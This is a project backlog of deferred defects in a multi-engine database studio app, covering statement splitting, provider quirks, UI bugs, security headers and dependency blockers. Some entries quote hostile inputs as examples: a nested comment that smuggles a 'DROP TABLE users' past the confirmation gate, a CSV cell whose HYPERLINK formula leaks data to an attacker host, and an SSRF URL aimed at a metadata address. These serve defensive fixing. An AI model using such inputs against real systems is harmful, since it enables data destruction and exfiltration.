Work that is known, understood, and not yet scheduled. Every entry here was found while doing something else — a maintenance sweep, a review, a live probe — and was verified against the code at the time it was written down, but none of it has been filed as a GitHub issue.
How this file is used
- The GitHub issue tracker holds work that is filed, triaged, or in progress. This file holds everything else: defects nobody has scheduled, deliberate deferrals, and open questions.
- An entry states what is wrong, where, and what "done" looks like — enough for someone to pick it up cold without re-deriving the finding.
- Delete an entry when the work lands. A fixed item leaves this file; it does not get a strikethrough or a DONE marker. Git history is the record of what was here.
- Re-verify before acting. Line references and behaviour claims age, and some entries name a reading of a database's grammar that ought to be checked against a first-party source again.
- Promote an entry to a GitHub issue whenever it needs discussion, an outside reporter, or a release note. This file is a holding area, not a competing tracker.
- The reverse happens too. An issue that is understood, breaks nothing today and is not scheduled belongs here rather than in a tracker where it only ages: it is closed with a pointer to its entry and reopened if a consumer asks for it. A defect a user can hit stays an issue — closing one of those hides a limitation instead of deferring it.
The readers under src/lib/sql/ decide where a statement starts, where it ends, and what operates
it. src/lib/sql/grammar.ts gave them a dialect (#292); these are what that channel does not yet
cover.
src/lib/sql/statement-splitter.ts runs its own span walk instead of spans.ts, so it disagrees
with every other reader: a ; inside a MySQL # comment, an Oracle q'{a'b;c}' body, a [a;b]
name, or a backtick-quoted subscript key each split one statement into fragments.
The sharp case: /* a /* b */ ; DROP TABLE users; -- */ SELECT 1 splits into three fragments whose
second is a bare, valid DROP TABLE users that the multi-statement route would run — while
isDangerousQuery answers false, because the confirmation gate reads the whole editor text and
never the fragments. Same family as #300, wider blast radius.
Done when the splitter reads spans through the shared reader with the caller's dialect, and the confirmation gate and the splitter agree about what is going to run.
Whether \ escapes inside a string literal differs by dialect (and, in MySQL, by session mode).
Making it a row in SqlGrammar would narrow the false confirmation prompts introduced by #297 and
would remove the MSSQL blunt decline in S4 entirely.
Deliberately left out of maintainer-sweep-5: it retypes every literal in every dialect — a far wider
behaviour change than any bar in that milestone asked for — and it would destroy the premise of two
fixtures that milestone required (the "end cannot be cut because a literal is undeterminable" case
and the "genuinely unresolvable text still has to ask" case). Those fixtures need replacing with
shapes that stay unresolvable once \ is understood.
The single largest follow-up from that sweep.
- MySQL executable comments.
/*!40000 DELETE FROM t */is an ordinary comment to every reader here, and MySQL executes it. Nothing asks before it runs. - ClickHouse
//. Accepted as a line comment (live-verified), modelled nowhere, so// note\nDROP TABLE tanswers not-dangerous. - MySQL connection charset. On a
latin1connection a leading U+00A0 executes.buildPoolConfigpasses a user's connection string straight to mysql2 asuri, so the charset is outside the readers' view entirely.
… OFFSET @skip ROWS is not recognised as a page, so the statement collects a TOP and the server
refuses it. This is a limitation of the shared probes' literal-count reading as much as of the
provider. Verified by probe and documented in docs/providers/mssql.md.
Related: the decline that keeps #293 safe keys on an unanchored OFFSET/FETCH mention wherever the
cut was refused. The precise alternative — walk forward to where the unresolvable region starts — is
only meaningful for a mention before the bad span, and costs a new shared-reader API.
src/lib/db/utils/query-limiter.ts runs its ROWNUM test, its UNION test and its subquery
SELECT count over the whole statement text, so a statement that merely mentions a bound in an
interior comment reads as already bounded. The statement's type stopped being fooled this way in
maintainer-sweep-4/5; these flags did not.
grammar.ts records a fact as established only when a first-party source was found for it, and
writes DEFAULT_SQL_GRAMMAR.<fact> where it was not. Currently undecided:
| Fact | Undecided for |
|---|---|
[…] bracket reading |
mysql, oracle, couchbase, druid, libredb |
# |
couchbase, druid, libredb |
| block-comment nesting | couchbase, druid, libredb |
None of these currently costs everyday syntax anything — [ carries no meaning in ordinary MySQL or
Oracle SQL, and the three HTTP/embedded dialects were never probed for the other two facts. The cost
of leaving one undecided is real when the dialect does use the syntax, which is why PostgreSQL's
bracket row was established rather than left here: at the name reading, ARRAY[[1,2],[3,4]] and
j['a]b'] lost their bound and prompted for confirmation on an ordinary read.
Rows resting on documentation alone, worth re-checking against an artifact: ClickHouse's # and
bracket rows (HTTP-only provider, no driver package to read), MSSQL's block-comment nesting row
(tedious ships no tokenizer), PostgreSQL's bracket and block-comment rows (pg is a wire-protocol
driver and carries no SQL tokenizer, so both rest on the manual), and the nq'…' spelling of Oracle's
alternate quoting.
Scanning an unreadable region for destructive vocabulary and asking only when a write could plausibly be in there. Sound on its face, but it substitutes a cleverer reading for the honesty rule #297 pinned — the gate asks because it cannot read the text, not because it guessed what is in it. Only revisit this with an explicit product decision.
isDangerousQuery recognises SQL keywords, so it is close to inert for the two non-SQL types it is
nevertheless asked about: a Redis FLUSHALL or DEL key, and a MongoDB {"operation":"drop"}, are
destructive and match nothing. The span-based half of the gate no longer fires on their text at all
(it is not SQL, so a SQL reader's verdict about it means nothing), which makes the keyword half the
only thing left — and it does not speak their languages.
Done when a destructive MongoDB operation and a destructive Redis command each ask before running, driven from the same single type-to-facts place rather than a type test in the component.
#298 covered the pooled SQL drivers (pg in both the database and storage layers, mssql; mysql2
and oracledb have no pool-level error event, and each connect() now records that). Whether the
MongoDB, Redis, ClickHouse, Druid or Couchbase clients expose a fatal error event that can reach
uncaughtException is an open question, not a claim.
ConnectionModal.tsx gates the SSL/TLS and SSH tunnel panels on !isFileBased(type), so every
engine except the two file-based ones (sqlite and the embedded libredb, both of which declare
connectionFields: ["database"]) renders both. The defect is narrow and specific: the visible
config.ssl selection is not enforced by three providers. grep -rln ssl src/lib/db/providers/
hits postgres, mysql, mssql, couchbase, clickhouse and druid; oracle.ts, mongodb.ts and
redis.ts never read it. A user who sets the mode to require on those three gets no error and no
guarantee - the connection may still be encrypted, but only if the connection string says so
(oracle.ts:266 passes a supplied connectionString through verbatim, and the MongoDB driver
honours tls=true in the URI). Silently accepting a security setting and dropping it is the
problem, not plaintext per se.
Two related scope facts worth keeping straight, both established while correcting an earlier overstatement of this entry:
- The SSH tunnel is genuinely provider-independent -
factory.ts:229opens it and rewrites host/port beforecreateDatabaseProvider- but it is skipped when either is absent. Connection string mode (showConnectionStringToggle: mongodb, couchbase, clickhouse) clears both inuse-connection-form.ts:173-179, so those connections are not tunnelled even though the panel is offered. - "Every engine except SQLite" is wrong twice over; see the file-based pair above.
Found while reviewing #317, corrected after Copilot's review of #318. The READMEs now state the
real scope, which closes the documentation half; the UI half is still open. Either wire the three
providers (oracledb supports TLS through the connect string, mongodb through tls options,
ioredis through tls) or hide the panel where it cannot be honoured.
POST /api/db/test-connection calls createDatabaseProvider directly
(src/app/api/db/test-connection/route.ts:28) rather than going through the cached provider, which is
right for testing credentials the server has never seen — and wrong for an engine that permits one
writer. If the connection under test points at a file the cached provider already holds, the second
open is refused by the first:
[DB] Creating libredb provider for "Sample (LibreDB)" <- cached, holds the file
[DB] Creating libredb provider for "My Sample" <- the test, same file
ConnectionError: LibreDB file is already open by another process (exclusive lock).
Deterministic, not a race: it reproduces every time on the active LibreDB connection. The visible consequence is worse than a failed test, because the connection modal tests before it saves — so editing the built-in LibreDB sample is impossible, and the edit is discarded with only a toast about a connection error, which reads as if the sample itself were broken. Reproduced against a production build on 2026-08-12 while verifying the seed-eligibility fix (PR #336).
This is the phenomenon an earlier session recorded and then RETRACTED as unreproducible. The retraction of the explanation stands — it was attributed to a read-then-write window in the provider cache, which was read out of the code and never demonstrated, and is not what happens. The phenomenon is real; the earlier attempts to reproduce it simply never went through the modal's test path.
Done when testing a connection that resolves to an already-open single-writer file reuses the open provider instead of opening a second handle, or the test is skipped with an honest message for engines that cannot be opened twice. Whichever is chosen, the modal must not present a lock conflict as a failed connection test.
buildConnectionString() (src/lib/db/providers/document/mongodb.ts) composes
mongodb://user:pass@host:port/<database> and nothing else, and authSource appears nowhere in the
repository — not in the connection form, not in DatabaseConnection, not in the driver options. The
MongoDB driver authenticates against the database named in the URI when no authSource is given, so
the ordinary deployment — users created in admin, data in another database — cannot be connected to
through the form fields at all. It fails as a credentials error, which is what it looks like and is
not what it is.
The workaround exists and is not discoverable: MongoDB is one of the engines offering the
connection-string toggle, and a pasted mongodb://user:pass@host:port/shop?authSource=admin is
passed through verbatim.
Raised while driving agent grounding against a seeded MongoDB (#414) and deliberately left out of that
work: this is a connection-form feature, not a grounding one. Done when the MongoDB connection form
carries an optional auth-database field that reaches the URI, with the tri-sync the provider rule
requires (code, docs/providers/mongodb.md, tests/integration/db/mongodb-provider.test.ts).
Measured against Trino 476: SELECT 1; answers SYNTAX_ERROR, line 1:9: mismatched input ';',
while SELECT 1 succeeds. TrinoHttpTransport sends the statement text verbatim and strips
nothing, so provider.query("SELECT 1;") fails on Trino and succeeds on every other SQL engine
we ship.
Not reachable through the product, which is why it is here rather than in the provider PR:
splitStatements() (src/lib/sql/statement-splitter.ts:132) consumes the semicolon as the
delimiter, so nothing typed in the editor ever carries one to a provider. The exposure is the
published library surface — @libredb/studio exports the providers, and a consumer calling
query() directly gets an engine-specific failure with no hint that the semicolon caused it.
Two things make it worth recording rather than dismissing. The comment at
src/lib/db/providers/sql/trino/http-transport.ts describing the request body reads "no trailing
semicolon", which states the requirement without anything enforcing it — corrected in the same
change that filed this entry, so the comment no longer implies a strip that does not happen. And
the provider already absorbs one Trino grammar quirk for the caller: prepareQuery() transposes
LIMIT n OFFSET m into OFFSET m LIMIT n because only the second order parses. Absorbing one and
not the other is the inconsistency, not the semicolon itself.
Done when the transport drops a single trailing semicolon before the statement leaves it (a
statement whose text is otherwise unchanged, so nothing that reads the statement back is
surprised), with a test that proves SELECT 1; and SELECT 1 reach the wire identically, and
docs/providers/trino.md saying so. Deliberately NOT a general statement splitter: SELECT 1; SELECT 2 must keep failing, because the endpoint takes exactly one statement.
Found reviewing #438 against the live cluster; not raised by the external review of that PR.
INDEX_SIZES_SQL in src/lib/db/providers/sql/mysql.ts:246 filters
information_schema.INNODB_TABLES.NAME LIKE ?, and getIndexStats passes `${schema}/%` at
line 966 - the connection's own database, followed by a slash. That is InnoDB's naming convention on
a single MySQL server, and the query treats it as universal.
Measured on 2026-08-20 against Vitess 24.0.2 (vitess/vttestserver:v24.0.2-mysql80, keyspace
probe): every per-index size reads 0 bytes, because Vitess names the InnoDB table after the
physical shard database, so the rows are vt_probe_0/orders and LIKE 'probe/%' matches none of
them. The same query returns 35 rows against a real MySQL 9 control, so the statement is fine; the
parameter's assumption is not.
The defect is ours, not Vitess's. Vitess publishes the sizes, under the name its own storage
uses. The provider asks for a name only an unsharded single-server MySQL has, and then swallows the
mismatch: the size lookup sits in a try {} catch {} whose comment reads "INNODB_SYS tables not
available", so a full result set of zero matched rows is indistinguishable from a server that has no
such catalog. The join key repeats the assumption a second time - the map is keyed on
INNODB_TABLES.NAME and looked up at line 976 with ${r.schema_name}/${r.table_name} taken from
information_schema.STATISTICS, so a matched row would still need the two catalogs to agree on the
schema name.
The user-visible result is the class this repo treats as worse than a blank panel: the index rows
themselves come from STATISTICS, which answers, so every index lists with a size of 0 B. A wrong
number, not a missing one.
Done when a per-index size on Vitess reads what INNODB_INDEXES holds for that index, or the panel
reports the size as unavailable rather than 0, and this entry is deleted.
Since #290 the inline row editor sends SET "name" = $1 with the value bound, and
use-query-execution writes that text to history — a truthful record of the statement the engine
ran, but no longer a record of what was written. Carrying the bound values as their own history
field would restore the audit trail without putting them back into the SQL. Touches the history
entry shape in src/lib/storage, so it is a schema change rather than a one-line fix.
The results grid builds one statement shape for every engine —
UPDATE <table> SET <col> = <val> WHERE <pk> = <val> in src/hooks/use-inline-editing.ts — so an
engine that spells a row mutation differently cannot have the feature. #269 made that honest rather
than broken: supportsInlineRowEdit hides the control wherever the shape does not fit, which is why
this is deferred work and not a defect. Today it is true for PostgreSQL, MySQL, SQLite, Oracle and
SQL Server, and false everywhere else.
Making it work means moving statement generation into the provider, so each dialect owns its own
form: the SQL providers keep the shape above, ClickHouse spells it ALTER TABLE <t> UPDATE <col> = <val> WHERE ..., MongoDB has no statement at all and would need the document-update path, and an
append-only engine keeps declaring the capability false. The provider triad applies, so code,
docs/providers/<type-id>.md and the provider's integration test move together, per provider.
Two constraints come from #269 and do not go away:
- One request per edited row. Several engines reject a multi-statement request, so the old newline-joined payload cannot come back.
- Primary-key detection is heuristic. The hook picks the key by looking for a result column named
idor ending in_id. That is acceptable for a control gated on an opt-in capability, but per-dialect editing on real tables should derive the key from the schema instead.
Whether row editing should be a universal feature at all is a product decision, not a mechanical one,
which is the other half of why it is here. The published WorkspaceFeatures.inlineEditing flag is
deprecated against this entry (#288): it becomes real, or goes away in a major, with this work.
U2 came out of the #384 review, verified against the merged code. The X entries came out of the
#422 review of the export path — each one was named, weighed and deliberately left out of that PR, so
they are recorded here rather than re-derived by the next reader.
src/lib/export/csv.ts writes the value it was given, exactly. A cell holding
=HYPERLINK("http://attacker/"&A1) is data in the database and a formula in Excel, LibreOffice and
Google Sheets — evaluated when the file is opened by someone who did not write the query.
The fix is not in doubt (prefix such a cell with a ', or wrap it), but it MUTATES the user's values
on the way out, which is the opposite of what every other line in that file does. That is a product
decision about which of two wrong answers to give, and it wants an owner: a checkbox on the export
menu, a setting, or a rule the docs state.
Done when a cell that a spreadsheet would evaluate cannot be evaluated by opening the file, and the choice is stated where the user makes it.
Statements run under DEFAULT_QUERY_LIMIT (500) and paging fetches more only when asked, so every
export is bounded by what is on screen. #422 made that visible — the count is on the Export button and
the menu says when more rows are still on the server (src/lib/export/scope.ts) — which is honesty,
not a fix.
The fix is a server-side export: a route that streams the statement's full result through the same
writers. csv.ts and result-export.ts are pure and hold no browser reference precisely so that a
route can reuse them; download.ts is the only browser-bound module in that directory. Worth costing
against the agent's own export gap (B33, B34), which wants the same route.
A bytea/BLOB value arrives in the browser as {"type":"Buffer","data":[1,2,…]} (the shape
JSON.stringify gives a Node Buffer) and both the grid and the CSV write exactly that: a megabyte of
data becomes about four megabytes of digits, and no reader can turn it back.
Deliberately NOT fixed in the export path alone. src/components/results-grid/renderers/ classifies a
value by shape and is the one place both surfaces read; a binary rule belongs there, so that the grid,
the row detail sheet and the export agree on hex, base64 or a truncation. Fixing only the writer would
make the file disagree with the screen.
X7. The DDL export types a numeric or a timestamp column as TEXT, because the wire hands it a string
Measured in the browser against the local dvdrental (2026-08-18):
SELECT rental_rate, last_update, film_id FROM film exports as
CREATE TABLE … ("rental_rate" TEXT, "last_update" TEXT, "film_id" BIGINT).
Nothing is wrong with the inference — it never sees a number. pg returns numeric as a string to
keep its precision, the API serializes the result to JSON, and a timestamp is a string by the time
the browser reads it. So a value-shaped guess can only ever recover integer, boolean and text, and the
dialect spellings #422 added (NUMBER(19), BINARY_DOUBLE, DATETIME2, …) apply to the three kinds
that survive the wire.
The type is not lost, only unreported: QueryResult.columnTypes is the channel for it, and only
ClickHouse and Druid populate it today. Done when every provider fills columnTypes for the columns
it declares — which is the provider triad's own work (code ↔ docs ↔ tests per type-id), one PR, and
it also lets the grid label a column without guessing (ResultsGrid.declaredTypeOf already reads it).
Guessing from a string's SHAPE is not the fix and should not be attempted: it types a text column
holding 2026-01-01 as a timestamp.
U3. Provider metadata is requested with the client's own connection object, so a managed connection defined only by a connection string is refused
useProviderMetadata (src/hooks/use-provider-metadata.ts) posts JSON.stringify(connection) — the
connection as the CLIENT holds it. For a managed seed connection that object is the sanitized one
GET /api/connections/managed returns, and the sanitizer keeps only the fields that are not secrets.
A seed defined by host / port / database / user survives that trip with enough left to
construct a provider, so PostgreSQL, MySQL, SQL Server, ClickHouse, Oracle, Druid, Couchbase, Redis,
SQLite and LibreDB all answer — measured, all eleven managed seeds replayed as the client sends them. A seed defined by connectionString does not: the string IS the credential,
so nothing addressable is left, and createDatabaseProvider throws. Measured on 0.11.0 against a
managed MongoDB seed — POST /api/db/provider-meta returns 400, with
Provider metadata request failed in the console and no capabilities for that connection.
The route already accepts the fix. It resolves body.connectionId through resolveConnection
(src/app/api/db/provider-meta/route.ts), the same seam /api/db/query and /api/db/schema use —
which is why a query and a schema read on that same MongoDB connection both succeed while the
metadata call beside them fails. Only this one caller sends the object instead of the id.
The damage is bounded because absent metadata reads as unsupported everywhere, which for MongoDB is
close to the truth: no explain, no create-table, no inline edit. What is lost is the labels — the
explorer says what a Postgres connection would say rather than naming collections — and the loss is
silent, a console warning on a path no user reads. It is not a regression: the hook has posted the
object since it was introduced (a4b5cfa, 2026-02-12), and no engine reached this code with a
connection-string-only managed seed until seed connections carried one.
Done when the hook sends { connectionId } for a connection the server owns and the object only for
one the client does, with a test that fails on a managed seed whose only address is a connection
string — the case the current tests cannot see, because they build connections with hosts.
DataProfiler, CodeGenerator, TestDataGenerator and DataImportModal render null when closed
but are always mounted, so lazy-loading them buys nothing until the mount is gated — and gating the
mount changes their semantics (state resets on close). That is a behaviour change, not a bundling one.
14 useState, no useMemo/useCallback, no memoized children, React Compiler off. The
code-splitting in #422 is not this fix and does not help it. It touches every prop in the shell, which
is why it was not mixed into a correctness PR. framer-motion is also still in the first load
(Studio.tsx, ConnectionModal, SchemaExplorer, ConnectionItem, TableItem all import it
statically and all mount on arrival).
VisualExplain, DatabaseDocs and the monitoring/admin tabs. SchemaDiff was fixed in #422 because
its rows are recomputed and reordered; the rest need reading one at a time to tell which are stable
lists (where an index key is fine) from which are not.
U2. The rule that catches an arity change on a JSX handler is configured but not aimed at components
eslint.config.mjs:84 scopes the type-aware layer to src/app/api/**, src/lib/db/** and
src/lib/storage/**. @typescript-eslint/no-misused-promises is already error there, and its
checksVoidReturn.attributes default is exactly the check that catches a promise-returning function
handed to a JSX handler that declares () => void.
That is the shape of the defect fixed in #384's final commit: cancelQuery gained a tabId?: string
parameter, both call sites in src/components/Studio.tsx still passed the function itself to a
button's onClick, React filled the slot with its MouseEvent, and the Cancel button silently stopped
cancelling. TypeScript permits it — an optional parameter still satisfies () => void — and the
tests could not see it, because they called the captured prop with no arguments.
Measured rather than assumed: extending the layer's files to src/components/Studio.tsx and
restoring the defect makes ESLint flag both call sites precisely. It also reports 21 further errors in
the same file that are not defects, mostly onX={() => someAsyncThing()} where nobody awaits and
nobody needs to — a roughly 10:1 noise ratio in one file. So this is not a scope widening that can be
merged as-is.
The decision to make: accept the churn (a braced body or a void at each benign site, across the
component tree) in exchange for a mechanical gate on a defect class that is invisible to both the type
checker and the current tests, or leave the layer narrow and rely on review. Worth costing against the
whole of src/components/** before choosing, since one file's ratio is not the tree's.
Done when the scope is either widened with the benign sites made explicit, or the decision not to is recorded here with the number that justified it.
DataProfiler renders the message /api/db/profile returned and offers no way out: Escape does not
close it, and the header's close control is under the error card. #427 measured this on Redis, where
the route answered 400 for every key-prefix row, but the fault is not Redis's — any provider whose
profile request fails traps the user in the same modal. #427 hid the menu item on providers whose
rows are derived groupings, which removes the reachable path without fixing the modal.
Done when a failed profile is dismissable by Escape and by the modal's own close control, for every provider that can fail it.
Two separate gaps meet on the same screen. OperationsTab calls useMonitoringData with
includeTables: true for every connection, so a provider that has no addressable tables renders an
empty panel rather than none. And the Explorer's deep link — onOpenMaintenance("tables", table.name)
— carries the row's name, but openMaintenance in Studio.tsx drops the second argument on the way
to /admin/operations, so the tab opens with nothing selected however the user got there.
Done when a provider whose rows are derived groupings renders no Tables panel, and a deep link from a row arrives with that row selected.
ProviderLabels carries an analyzeGlobal* and a vacuumGlobal* triad and no reindexGlobal one.
#427 made the Operations tab render the first two, but the reindex card is left hardcoded to
"Run Reindex" / "Rebuild Indexes" / "Reconstructs all indexes in the database." Three
providers declare reindex — Postgres, SQLite and Couchbase — and for Couchbase, whose reindex is a
GSI rebuild rather than a table reindex, that copy is wrong in the same way the analyze copy was
wrong for Redis. Adding the triad was deliberately out of scope for #427: it means touching
ProviderLabels and every provider that implements it, which is a wider change than the Redis fix.
The same card gap has a smaller twin on the same screen: the per-table Analyze and Vacuum buttons are
titled with the hardcoded "Analyze" and "Vacuum", so MongoDB's "Validate Collection",
ClickHouse's "Table Statistics" and Oracle's "Rebuild Indexes" never reach them (#427). Wiring
those two is entangled with U9 below and should be done with it, not before it.
Done when reindexGlobalLabel / reindexGlobalTitle / reindexGlobalDesc exist, the three
declaring providers set them, the card renders them with the current strings as the fallback, and the
per-table buttons carry analyzeAction / vacuumAction.
QueryToolbar renders its Save Query control whenever it is given an onSaveQuery, and
StudioWorkspace passes () => {}. In the embedded surface the button is therefore always present
and always dead — the same dead-control class #427 closed for the Redis row menu, but pre-existing
and unrelated to that issue, which is why it was recorded rather than fixed there. The standalone
Studio surface passes a real handler, so this is visible only in the npm-package render path.
Done when the embedded surface either supplies a working save or does not render the control — and the decision is stated where the prop is passed, since "the host will wire it later" is a real option for a published library surface.
registerLibreDBLanguage (src/lib/editor/libredb-language.ts) hands Monaco a Monarch tokenizer
whose rules are the whole point of the module, and tests/unit/editor/libredb-language.test.ts
asserts only that a provider object with a non-empty root was passed. Nothing checks what the rules
match, so a regex covering the wrong span, a shadowing rule order, or a word landing in both the
keyword and modifier lists would pass every gate and be visible only in a browser. 100% line coverage
does not help here: the rules are data, and loading the module covers them.
The Redis half of this is done — tests/unit/editor/redis-language.test.ts now asserts the rule
regexes directly (#427): what the ^\s*# comment rule matches and does not, that a SCAN cursor
tokenizes as a number, that user:* is ONE identifier token, that a quoted value keeps a # inside
it, and that no two root rules can open on the same character — the property that makes the rule
order safe. It needs no Monaco runtime, so the same shape applies to LibreDB.
Done when the LibreDB module is checked the same way, or both are driven through Monaco's own Monarch runtime end to end.
U9. Four providers point vacuumAction at an operation that is not vacuum, and one shows a row item for an operation it does not have
Two mismatches, measured while fixing #427 and deliberately left alone.
(a) MySQL shows the base default it never meant. The schema explorer's per-row maintenance items
are gated on isAdmin alone, so MySQL renders "Vacuum Table" — BaseDatabaseProvider's default
wording — although its maintenanceOperations is ['analyze', 'optimize', 'check', 'kill'] and
contains no vacuum. The item names an operation MySQL does not have; following it reaches an
Operations tab that renders no vacuum card either.
(b) ClickHouse, SQL Server, Oracle and Couchbase map the LABEL onto another operation. Their
vacuumAction reads "Optimize Table", "Rebuild Indexes", "Rebuild Indexes" and "Compact",
standing for the optimize / optimize / optimize / reindex each declares. So a label-driven
gate is not enough on its own, and a generic label-to-operation mapping is actively wrong: #427
built one, wired it into the Operations tab's per-table button, and thereby handed Oracle a per-table
"Rebuild Indexes" control that sent optimize with a TABLE name — while oracle.ts builds
ALTER INDEX "<target>" REBUILD from that target, so every click answered ORA-01418: specified
index does not exist. A control that always fails is worse than the dead end it replaced, and the
whole chain was reverted before merge.
The conclusion the revert paid for: any future mapping must be per provider, declared by the
provider next to the operation it names — because the target grammar differs even among providers
that declare the same MaintenanceType. Oracle's optimize wants an index name; ClickHouse's wants
a table; Couchbase's reindex wants a keyspace.
Done when each provider declares which operation its vacuumAction (and analyzeAction) stands for
and what kind of target that operation takes, both surfaces gate and title from that declaration,
and a live run against Oracle proves the per-table control succeeds rather than returning ORA-01418.
redis-language.ts and libredb-language.ts give Monaco a root state whose comment rule is
^\s*#, with no separate string state carried between lines. The providers, however, treat a newline
inside an open quoted argument as data (SET note "line1 / #tag" stores a two-line value — see
docs/providers/redis.md §3.4a). So the editor paints the continuation line as a comment while the
provider stores it as part of the value: the highlighting and the execution disagree about the same
buffer. Low severity — it misleads, it does not corrupt — and the tokenizer has no idea what the
provider will do until the buffer runs.
Done when an open quoted argument keeps its string state across the line break in both Monarch
tokenizers, with a test asserting a #-leading continuation line is not tokenized as a comment.
src/lib/api/require-session.ts:24 builds { error: "Authentication required" } with status 401 —
the shared guard the security/phase-0-hotfix branch added for routes that reach a database or an
LLM provider. src/lib/api/schema-route.ts:31-34 and src/app/api/db/health/route.ts:28-31 build
the identical response inline, and both predate that branch: they were not converted to call the
new guard.
Separately, the storage routes (src/app/api/storage/route.ts:21,
src/app/api/storage/[collection]/route.ts:22, src/app/api/storage/migrate/route.ts:23) answer
{ error: "Unauthorized" } instead, so a client cannot rely on one error shape for "not logged in"
across the whole API.
Done when there is exactly one 401 response for this condition, built in one place, and every route that needs it (including the storage routes) calls it. Deferred to Phase 1 rather than folded into the hotfix: none of the three is wrong today, and consolidating them is a refactor, not a fix.
src/proxy.ts's matcher excludes any path matching .*\..* so that static assets skip the auth
redirect — /((?!api/storage/config|_next/static|_next/image|.*\..*).*). (api/db/health was
also excluded here until it was found to be excluding POST /api/db/health, a state-changing
route, from the Origin check too — see SECURITY.md; it is no longer in this list, and GET's
load-balancer path is unaffected because the Origin check exempts GET by method.) The dot exclusion
is by design for auth (nothing under public/ or /monaco/vs/*.js needs a login redirect), but it
means proxy() never runs for those paths at all: files under public/, /monaco/vs/*.js and
_next/static are served with none of the Phase 1 security headers (X-Content-Type-Options chief
among them), while every extensionless route gets the full set.
This was raised while Phase 1's header work landed and, having weighed it, was left as-is: these
are not documents, and Next serves them with correct content types, so MIME sniffing on them is not
a live threat. Cross-Origin-Opener-Policy and Cross-Origin-Resource-Policy belong to the same
decision and are outside the header set Phase 1 agreed. Done when either a second delivery
mechanism covers them (e.g. next.config's headers()) or this entry is re-affirmed as permanently
accepted risk rather than revisited again.
isStatementText (src/lib/sql/statement-end.ts) has a dollar-string disjunct pinned by exactly
one assertion. That is the same
hole that, for the subscript disjunct, let a statement-corrupting emission through the full gate,
CI, 100% line coverage and five reviews — deleting the disjunct failed zero tests. Line coverage
cannot see a missing disjunct in a one-line predicate; only a fixture where the two readings
disagree can pin it.
Done when deleting any single disjunct of isStatementText fails a test.
The test mocks pg with a shared inert pool while the storage provider caches Pool in a
module-level variable, so in a shared process the first initialize decides which mock every later one
gets. Related to the mock.module() isolation rules in docs/TOOLCHAIN.md.
The design this test protects is: /_next/image?url=http://169.254.169.254/ (or any other
attacker-chosen URL) must be rejected, because next/image's optimizer would otherwise perform an
unauthenticated server-side fetch of it. What the test actually asserts is narrower —
nextConfig.images is undefined — which is sufficient today only because nothing in src/
imports next/image at all (verified: next.config's images key is never set, and no component
imports next/image), so the control is closed and correctly verified for the current codebase.
The gap is that the assertion is a proxy for the threat, not the threat itself, and a future,
strictly safer configuration would fail it: setting images: { unoptimized: true } (which disables
the optimizer's fetch behaviour entirely, closing the same threat a different way) would still trip
toBeUndefined(). The real assertion — that GET /_next/image?url=<attacker URL> is rejected —
belongs with the Phase 1 Playwright work, which can make an actual HTTP request against a running
server; a unit test importing next.config has no way to exercise the route itself.
Dependabot alert 1 (GHSA-wrw7-89jp-8q8g, medium) reports unsoundness in the Iterator and
DoubleEndedIterator impls of glib::VariantStrIter, affecting >= 0.15.0, < 0.20.0.
desktop/src-tauri/Cargo.lock carries glib 0.18.5, and it cannot move:
glib 0.18.5 <- gtk 0.18.2 (requires glib ^0.18) <- tauri 2.11.5
cargo update -p glib@0.18.5 --precise 0.20.0 fails on that requirement. Upgrading Tauri does not
help — 2.11.5 is the latest published version — and the gtk crate cannot deliver the fix either:
0.18.2 is its latest release and it is published as UNMAINTAINED, directing users to gtk4. So the
advisory closes only when Tauri's Linux backend moves off the GTK 3 bindings, which is upstream work
on their side.
Nothing in desktop/src-tauri/ touches glib: the shell's direct dependencies are tauri,
serde_json and libc, and no source file references glib or Variant. The exposure is whatever
Tauri and GTK do with VariantStrIter internally, so the practical risk is low, but "we do not call
it" is not the same as proving the code path is unreachable.
Done when Tauri's dependency tree offers glib >= 0.20 and the lock is updated, or when the alert is
dismissed with this reasoning recorded on it. Re-check on each Tauri upgrade — a one-line
cargo tree -i glib in desktop/src-tauri/ answers it.
typescript@7.0.2 is on npm latest and is the native Go port. The published tarball contains no
lib/typescript.js: its exports map resolves require("typescript") to lib/version.cjs, which
returns {version, versionMajorMinor} and nothing else. Two of the six mandatory gates call the
compiler API directly, so both break at runtime while bun run typecheck passes and reports nothing:
bun run lint—@typescript-eslint/typescript-estreerequirestypescriptin 19 files, and every publishedtypescript-eslint(8.67.0 and its canaries) caps the peer attypescript: ">=4.8.4 <6.1.0". There is no v9 line.bun run build:lib— tsup'sdts: truepipeline callsts.parseJsonConfigFileContent.
bun run build additionally refuses unless experimental.useTypeScriptCli is set. Two smaller
blockers wait behind those: TS 7 removes baseUrl, which tsconfig.lib.json relies on to resolve
the @/* alias for tsup's declaration bundler, and the plugins: [{ "name": "next" }] tsserver
entry has no host on 7.0. knip 6.x is unaffected — it is on oxc-parser with no TypeScript dependency.
Upstream, typescript-eslint's tracking issue (#10940) is labelled "blocked by external API" and has a second, independent blocker: ESLint has no asynchronous-parser support, which a tsgo backend needs. Microsoft promises the stable API in 7.1.
Done when TS 7.1 ships that API and a typescript-eslint release admits typescript: ^7. The
whole check is one line: npm view typescript-eslint peerDependencies.typescript. Do not reach for
the npm:@typescript/typescript6 alias workaround in the meantime — it keeps TS 6 under the name
typescript for every gate that matters, so it buys a faster ad-hoc tsc and a package.json that
misreports its own compiler.
eslint.config.mjs wraps eslint-config-next's two configs in @eslint/compat's
fixupConfigRules. ESLint 10 removed the deprecated rule-context methods; eslint-config-next 16.3.1
still depends on eslint-plugin-react ^7.37.0, whose newest release (7.37.5, April 2025) calls
context.getFilename() and declares eslint: "... || ^9.7". Without the wrapper, loading any of its
rules throws TypeError: contextOrFilename.getFilename is not a function before a file is linted.
eslint-config-next's own peer range (eslint: ">=9.0.0") does not express this, so nothing catches it
short of running the linter.
Done when eslint-config-next depends on an eslint-plugin-react that declares eslint: ^10, at which
point the two fixupConfigRules(...) calls become bare spreads and @eslint/compat leaves
devDependencies. Check with npm view eslint-plugin-react peerDependencies.eslint.
Raised by Dependabot, closed unmerged, and each a decision rather than a bump. Recorded here so the
decision survives whether or not the bot re-raises them under the bun ecosystem:
